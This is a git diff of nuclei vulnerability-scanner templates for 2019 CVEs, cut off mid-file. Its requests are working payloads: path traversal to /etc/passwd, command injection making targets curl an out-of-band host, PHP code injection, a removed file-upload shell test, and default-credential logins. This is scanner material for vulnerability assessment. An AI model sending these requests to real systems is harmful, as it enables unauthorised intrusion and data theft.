--- a/nuclei-templates/CVE-2019/cve-2019-14312.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2019-14312 - -info: - name: Aptana Jaxer 1.0.3.4547 - Local File inclusion - author: daffainfo - severity: medium - description: Aptana Jaxer 1.0.3.4547 is vulnerable to a local file inclusion vulnerability in the wikilite source code viewer. This vulnerability allows a remote attacker to read internal files on the server via a tools/sourceViewer/index.html?filename=../ URI. - reference: - - https://www.exploit-db.com/exploits/47214 - - https://www.cvedetails.com/cve/CVE-2019-14312 - tags: cve,cve2019,lfi - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 6.50 - cve-id: CVE-2019-14312 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-14322.yaml b/nuclei-templates/CVE-2019/cve-2019-14322.yaml deleted file mode 100644 index f09127fe7b..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-14322.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2019-14322 - -info: - name: Odoo 12.0 - Local File Inclusion - author: madrobot - severity: high - tags: cve,cve2019,lfi,odoo - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2019-14322 - cwe-id: CWE-22 - description: "In Pallets Werkzeug before 0.15.5, SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames." - reference: - - https://palletsprojects.com/blog/werkzeug-0-15-5-released/ - - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html - -requests: - - method: GET - path: - - "{{BaseURL}}/base_import/static/c:/windows/win.ini" - - "{{BaseURL}}/web/static/c:/windows/win.ini" - - "{{BaseURL}}/base/static/c:/windows/win.ini" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and - part: body diff --git a/nuclei-templates/CVE-2019/CVE-2019-14696.yaml b/nuclei-templates/CVE-2019/cve-2019-14696.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-14696.yaml rename to nuclei-templates/CVE-2019/cve-2019-14696.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-15811.yaml b/nuclei-templates/CVE-2019/cve-2019-15811.yaml deleted file mode 100644 index f7fc8fa7f4..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-15811.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2019-15811 - -info: - name: DomainMOD <=4.13.0 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD through 4.13.0 contains a cross-site scripting vulnerability via /reporting/domains/cost-by-month.php in Daterange parameters. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. - remediation: | - Upgrade to the latest version of DomainMOD (>=4.13.1) to mitigate this vulnerability. - reference: - - https://www.exploit-db.com/exploits/47325 - - https://github.com/domainmod/domainmod/issues/108 - - https://nvd.nist.gov/vuln/detail/CVE-2019-15811 - - https://zerodays.lol/ - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-15811 - cwe-id: CWE-79 - epss-score: 0.00269 - epss-percentile: 0.6713 - cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: domainmod - product: domainmod - tags: cve,cve2019,domainmod,xss,authenticated,edb - -http: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1 - Host: {{Hostname}} - - host-redirects: true - max-redirects: 2 - matchers: - - type: dsl - dsl: - - 'status_code_2 == 200' - - 'contains(header_2, "text/html")' - - 'contains(body_2, "value=\"\"onfocus=\"alert(document.domain)\"autofocus=")' - - 'contains(body_2, "DomainMOD")' - condition: and -# digest: 4a0a00473045022100a532186b80000e488626654fcb40a311d58c18185793c9629f659d78a883503b02205bb427d30c7b76e28114b62e911dd49a6ca7e45ce078023de343ceed89144b9b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-15859.yaml b/nuclei-templates/CVE-2019/cve-2019-15859.yaml new file mode 100644 index 0000000000..3d33b1df7c --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-15859.yaml @@ -0,0 +1,35 @@ +id: CVE-2019-15859 + +info: + name: Socomec DIRIS Password Disclosure + author: geeknik + description: Password disclosure in the web interface on socomec DIRIS A-40 devices before 48250501 allows a remote attacker to get full access to a device via the /password.jsn URI. + reference: https://seclists.org/fulldisclosure/2019/Oct/10 + severity: critical + tags: cve,cve2019,disclosure,socomec,diris,iot + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-15859 + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/password.jsn" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "text/json" + part: header + - type: word + words: + - "username" + - "password" + part: body + condition: and diff --git a/nuclei-templates/CVE-2019/cve-2019-16123.yaml b/nuclei-templates/CVE-2019/cve-2019-16123.yaml new file mode 100644 index 0000000000..5868d97896 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-16123.yaml @@ -0,0 +1,31 @@ +id: CVE-2019-16123 +info: + name: PilusCart <= 1.4.1 - Local File Disclosure + author: 0x_Akoko + severity: high + description: PilusCart versions 1.4.1 and below suffers from a file disclosure vulnerability. + reference: + - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html + - https://www.cvedetails.com/cve/CVE-2019-16123 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-16123 + cwe-id: CWE-22 + tags: cve,cve2019,piluscart,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-16278.yaml b/nuclei-templates/CVE-2019/cve-2019-16278.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-16278.yaml rename to nuclei-templates/CVE-2019/cve-2019-16278.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-16662.yaml b/nuclei-templates/CVE-2019/cve-2019-16662.yaml new file mode 100644 index 0000000000..696076cc85 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-16662.yaml @@ -0,0 +1,28 @@ +id: CVE-2019-16662 + +info: + name: rConfig 3.9.2 - Remote Code Execution + author: pikpikcu + severity: critical + reference: https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ + tags: cve,cve2019,rce,intrusive,rconfig + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-16662 + cwe-id: CWE-78 + description: "An issue was discovered in rConfig 3.9.2. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution." + +requests: + - method: GET + path: + - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2019/cve-2019-16759.yaml b/nuclei-templates/CVE-2019/cve-2019-16759.yaml new file mode 100644 index 0000000000..28a33d2049 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-16759.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-16759 + +info: + name: RCE in vBulletin v5.0.0-v5.5.4 fix bypass + author: madrobot + severity: critical + reference: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/ + tags: cve,cve2019,vbulletin,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-16759 + cwe-id: CWE-94 + description: "vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request." + +requests: + - raw: + - | + POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo(); + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "PHP Version" diff --git a/nuclei-templates/CVE-2019/cve-2019-17382.yaml b/nuclei-templates/CVE-2019/cve-2019-17382.yaml new file mode 100644 index 0000000000..8dfa5344ff --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-17382.yaml @@ -0,0 +1,37 @@ +id: CVE-2019-17382 + +info: + name: Zabbix Authentication Bypass + author: harshbothra_ + severity: critical + description: An issue was discovered in zabbix.php?action=dashboard.view&dashboardid=1 in Zabbix through 4.4. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin. + reference: https://www.exploit-db.com/exploits/47467 + tags: cve,cve2019,zabbix,fuzz,bypass,login + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.10 + cve-id: CVE-2019-17382 + cwe-id: CWE-639 + +requests: + - raw: + - | + GET /zabbix.php?action=dashboard.view&dashboardid={{ids}} HTTP/1.1 + Host: {{Hostname}} + Accept-Language: en-US,en;q=0.9 + + payloads: + ids: helpers/wordlists/numbers.txt + + threads: 50 + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: status + status: + - 200 + + - type: word + words: + - "Dashboard" diff --git a/nuclei-templates/CVE-2019/cve-2019-17444.yaml b/nuclei-templates/CVE-2019/cve-2019-17444.yaml new file mode 100644 index 0000000000..e02dbd7ffb --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-17444.yaml @@ -0,0 +1,42 @@ +id: CVE-2019-17444 + +info: + author: pdteam + name: Jfrog Artifactory default password + severity: critical + description: | + Jfrog Artifactory uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory. This issue affects Jfrog Artifactory versions prior to 6.17.0. + reference: + - https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes + - https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory + - https://nvd.nist.gov/vuln/detail/CVE-2019-17444 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-17444 + cwe-id: CWE-521 + tags: cve,cve2019,jfrog,default-login + +requests: + - raw: + - | + POST /ui/api/v1/ui/auth/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + X-Requested-With: XMLHttpRequest + Origin: {{RootURL}} + + {"user":"admin","password":"password","type":"login"} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - '"name":"admin"' + - '"admin":true' + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-17506.yaml b/nuclei-templates/CVE-2019/cve-2019-17506.yaml new file mode 100644 index 0000000000..8e68f7fb78 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-17506.yaml @@ -0,0 +1,36 @@ +id: CVE-2019-17506 + +info: + name: DLINK DIR-868L & DIR-817LW Info Leak + author: pikpikcu + severity: critical + description: There are some web interfaces without authentication requirements on D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers. An attacker can get the router's username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely. + reference: https://github.com/dahua966/Routers-vuls/blob/master/DIR-868/name%26passwd.py + tags: cve,cve2019,dlink,router + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-17506 + cwe-id: CWE-306 + +requests: + - method: POST + path: + - "{{BaseURL}}/getcfg.php" + + body: | + SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a + headers: + Content-Type: text/xml + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "" + - "DEVICE.ACCOUNT" + part: body + condition: and diff --git a/nuclei-templates/CVE-2019/cve-2019-17558.yaml b/nuclei-templates/CVE-2019/cve-2019-17558.yaml new file mode 100644 index 0000000000..836b3efbdf --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-17558.yaml @@ -0,0 +1,59 @@ +id: CVE-2019-17558 +info: + name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template + author: pikpikcu,madrobot + severity: high + reference: https://nvd.nist.gov/vuln/detail/CVE-2019-17558 + tags: cve,cve2019,apache,rce,solr,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.50 + cve-id: CVE-2019-17558 + cwe-id: CWE-74 + description: "Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user)." + +requests: + - raw: + - | + GET /solr/admin/cores?wt=json HTTP/1.1 + Host: {{Hostname}} + + - | + POST /solr/{{core}}/config HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + { + "update-queryresponsewriter": { + "startup": "lazy", + "name": "velocity", + "class": "solr.VelocityResponseWriter", + "template.base.dir": "", + "solr.resource.loader.enabled": "true", + "params.resource.loader.enabled": "true" + } + } + + - | + GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20http://{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 + Host: {{Hostname}} + Connection: close + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: status + status: + - 200 + + extractors: + - type: regex + internal: true + name: core + group: 1 + regex: + - '"name"\:"(.*?)"' diff --git a/nuclei-templates/CVE-2019/cve-2019-18393.yaml b/nuclei-templates/CVE-2019/cve-2019-18393.yaml new file mode 100644 index 0000000000..ca54457a31 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-18393.yaml @@ -0,0 +1,30 @@ +id: CVE-2019-18393 +info: + name: Openfire LFI + author: pikpikcu + severity: medium + description: PluginServlet.java in Ignite Realtime Openfire through 4.4.2 does not ensure that retrieved files are located under the Openfire home directory, aka a directory traversal vulnerability. + reference: https://swarm.ptsecurity.com/openfire-admin-console/ + tags: cve,cve2019,openfire,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.30 + cve-id: CVE-2019-18393 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - '{{BaseURL}}/plugins/search/..\..\..\conf\openfire.xml' + + matchers-condition: and + matchers: + - type: word + words: + - "org.jivesoftware.database.EmbeddedConnectionProvider" + - "Most properties are stored in the Openfire database" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-18665.yaml b/nuclei-templates/CVE-2019/cve-2019-18665.yaml new file mode 100644 index 0000000000..a2a5e18794 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-18665.yaml @@ -0,0 +1,47 @@ +id: CVE-2019-18665 + +info: + name: DOMOS 5.5 - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + SECUDOS DOMOS before 5.6 allows local file inclusion via the log module. + impact: | + Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server. + remediation: | + Apply the latest patch or update to a version that is not affected by this vulnerability. + reference: + - https://atomic111.github.io/article/secudos-domos-directory_traversal + - https://vuldb.com/?id.144804 + - https://www.secudos.de/news-und-events/aktuelle-news/domos-release-5-6 + - https://nvd.nist.gov/vuln/detail/CVE-2019-18665 + - https://www.cybersecurity-help.cz/vdb/SB2019110403 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-18665 + cwe-id: CWE-22 + epss-score: 0.08504 + epss-percentile: 0.93861 + cpe: cpe:2.3:a:secudos:domos:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: secudos + product: domos + tags: cve,cve2019,domos,lfi,secudos + +http: + - method: GET + path: + - "{{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 +# digest: 4a0a004730450220509c4051fe06c3b442182ccea599c293cb206f29fb380ac73d9f4b9f7515f1bb022100e913f5bb1074f270b620860b37f1772c8266d161293f835f86eb2bbfd806ddf3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-19908.yaml b/nuclei-templates/CVE-2019/cve-2019-19908.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-19908.yaml rename to nuclei-templates/CVE-2019/cve-2019-19908.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-20141.yaml b/nuclei-templates/CVE-2019/cve-2019-20141.yaml index 43d20edb98..cc7ccb3827 100644 --- a/nuclei-templates/CVE-2019/cve-2019-20141.yaml +++ b/nuclei-templates/CVE-2019/cve-2019-20141.yaml @@ -1,19 +1,33 @@ id: CVE-2019-20141 info: - name: Neon Dashboard - XSS Reflected + name: WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting author: knassar702 severity: medium - description: An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter. - reference: https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html - tags: cve,cve2019,xss + description: WordPress Laborator Neon theme 2.0 contains a cross-site scripting vulnerability via the data/autosuggest-remote.php q parameter. + remediation: | + Apply the latest security patch or update provided by the theme developer to fix the XSS vulnerability. + reference: + - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html + - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-xss-reflected.html + - https://knassar702.github.io/cve/neon/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-20141 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2019-20141 cwe-id: CWE-79 + epss-score: 0.00125 + epss-percentile: 0.46806 + cpe: cpe:2.3:a:laborator:neon:2.0:*:*:*:*:wordpress:*:* + metadata: + max-request: 2 + vendor: laborator + product: neon + framework: wordpress + tags: cve2019,cve,xss,laborator,wordpress -requests: +http: - method: GET path: - '{{BaseURL}}/data/autosuggest-remote.php?q=">' @@ -22,11 +36,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - ">>)1(trela=rorreno" - part: body - type: word + part: header words: - "text/html" - part: header \ No newline at end of file +# digest: 490a004630440220364007b5b353132d3e613a97b3c9f9453c1458e01438e0e259cd73afc23276ad022001dd8bc347d2107af7f57bd1fab63468c0320329d58618fcebf87bed4fd9c85d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-20183.yaml b/nuclei-templates/CVE-2019/cve-2019-20183.yaml deleted file mode 100644 index 40c1051b84..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-20183.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2019-20183 - -info: - name: Simple Employee Records System 1.0 arbitrary file upload - description: Simple Employee Records System 1.0 contains an arbitrary file upload due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or RCE. - author: pikpikcu - severity: high - reference: https://www.exploit-db.com/exploits/49596 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cwe-id: CWE-434 - cve-id: CVE-2019-20183 - tags: rce,intrusive,cve,upload,cve2019 - -requests: - - raw: - - | - POST /dashboard/uploadID.php HTTP/1.1 - Host: {{Hostname}} - Accept: application/json, text/javascript, */*; q=0.01 - X-Requested-With: XMLHttpRequest - Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337 - - -----------------------------5825462663702204104870787337 - Content-Disposition: form-data; name="employee_ID"; filename="poc.php" - Content-Type: image/png - - - -----------------------------5825462663702204104870787337-- - - - | - GET /uploads/employees_ids/{{endpoint}}?cmd=cat%20/etc/passwd HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: endpoint - part: body - internal: true - regex: - - '(?:[a-zA-Z0-9+\/])*_poc.php' - - matchers: - - type: regex - regex: - - "root:.*:0:0" - condition: and - part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-20224.yaml b/nuclei-templates/CVE-2019/cve-2019-20224.yaml new file mode 100644 index 0000000000..e6ded4687b --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-20224.yaml @@ -0,0 +1,61 @@ +id: CVE-2019-20224 + +info: + name: Pandora FMS 7.0NG - Remote Command Injection + author: ritikchaddha + severity: high + description: | + Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system. + remediation: This issue has been fixed in Pandora FMS 7.0 NG 742. + reference: + - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/ + - https://gist.github.com/mhaskar/2153d66a0928492d76b799ba13b9e3f9 + - https://nvd.nist.gov/vuln/detail/CVE-2019-20224 + - https://drive.google.com/file/d/1DkWR5MylzeNr20jmHXTaAIJmf3YN-lnO/view + - https://pandorafms.com/downloads/solved-pandorafms-742.mp4 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2019-20224 + cwe-id: CWE-78 + epss-score: 0.18764 + epss-percentile: 0.95774 + cpe: cpe:2.3:a:artica:pandora_fms:7.0_ng:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: artica + product: pandora_fms + tags: cve,cve2019,pandorafms,rce,authenticated,oast,artica + +http: + - raw: + - | + POST /pandora_console/index.php?login=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + nick=admin&pass=admin&login_button=Login + - | + POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw + + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + name: "http" + part: interactsh_protocol + words: + - "http" + + - type: status + status: + - 200 +# digest: 490a00463044022046ac7207d2f9331283e0b83f2ec5f492144749de02ae7a6eb328fc4c5c3d40270220014b1f4e41a4c8e7fb88abf43f8baf6f2673f8fd542c36dcc365a951f84516a2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-20933.yaml b/nuclei-templates/CVE-2019/cve-2019-20933.yaml new file mode 100644 index 0000000000..8f2e603c54 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-20933.yaml @@ -0,0 +1,50 @@ +id: CVE-2019-20933 + +info: + name: InfluxDB <1.7.6 - Authentication Bypass + author: pussycat0x,c-sh0 + severity: critical + description: InfluxDB before 1.7.6 contains an authentication bypass vulnerability via the authenticate function in services/httpd/handler.go. A JWT token may have an empty SharedSecret (aka shared secret). An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. + impact: | + An attacker can bypass authentication and gain unauthorized access to the InfluxDB database. + remediation: Update Influxdb to version 1.7.6~rc0-1 or higher. + reference: + - https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20933 + - https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6 + - https://nvd.nist.gov/vuln/detail/CVE-2019-20933 + - https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-20933 + cwe-id: CWE-287 + epss-score: 0.04913 + epss-percentile: 0.92609 + cpe: cpe:2.3:a:influxdata:influxdb:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: influxdata + product: influxdb + shodan-query: InfluxDB + tags: cve,cve2019,unauth,db,influxdb,misconfig,influxdata + +http: + - method: GET + path: + - "{{BaseURL}}/query?db=db&q=SHOW%20DATABASES" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"results":' + - '"name":"databases"' + condition: and + + - type: status + status: + - 200 +# digest: 4b0a00483046022100b58799e6f8127779c0e815988ea4492ea6d8636cc9b2d9a0c8b6619e4d8d6078022100e896460a50bf9af6cc431831d64f1bdb58867e720e5cf1e203c1ef4431670286:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-2578.yaml b/nuclei-templates/CVE-2019/cve-2019-2578.yaml new file mode 100644 index 0000000000..5ab3f5b1f0 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-2578.yaml @@ -0,0 +1,31 @@ +id: CVE-2019-2578 + +info: + name: Broken Access Control Oracle WebCenter Sites + author: leovalcante + severity: high + description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware. The supported version that is affected is 12.2.1.3.0. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. + reference: https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites + tags: cve,cve2019,oracle,wcs,auth-bypass + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.60 + cve-id: CVE-2019-2578 + + +requests: + - raw: + - | + GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1 + Host: {{Hostname}} + + - | + GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1 + Host: {{Hostname}} + + stop-at-first-match: true + matchers: + - type: regex + part: body + regex: + - '' \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-3396.yaml b/nuclei-templates/CVE-2019/cve-2019-3396.yaml new file mode 100644 index 0000000000..9a4ba766ef --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-3396.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-3396 +info: + author: harshbothra_ + name: Atlassian Confluence Path Traversal + severity: critical + description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection. + reference: https://github.com/x-f1v3/CVE-2019-3396 + tags: cve,cve2019,atlassian,confluence,lfi,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-3396 + cwe-id: CWE-22 + +requests: + - raw: + - | + POST /rest/tinymce/1/macro/preview HTTP/1.1 + Host: 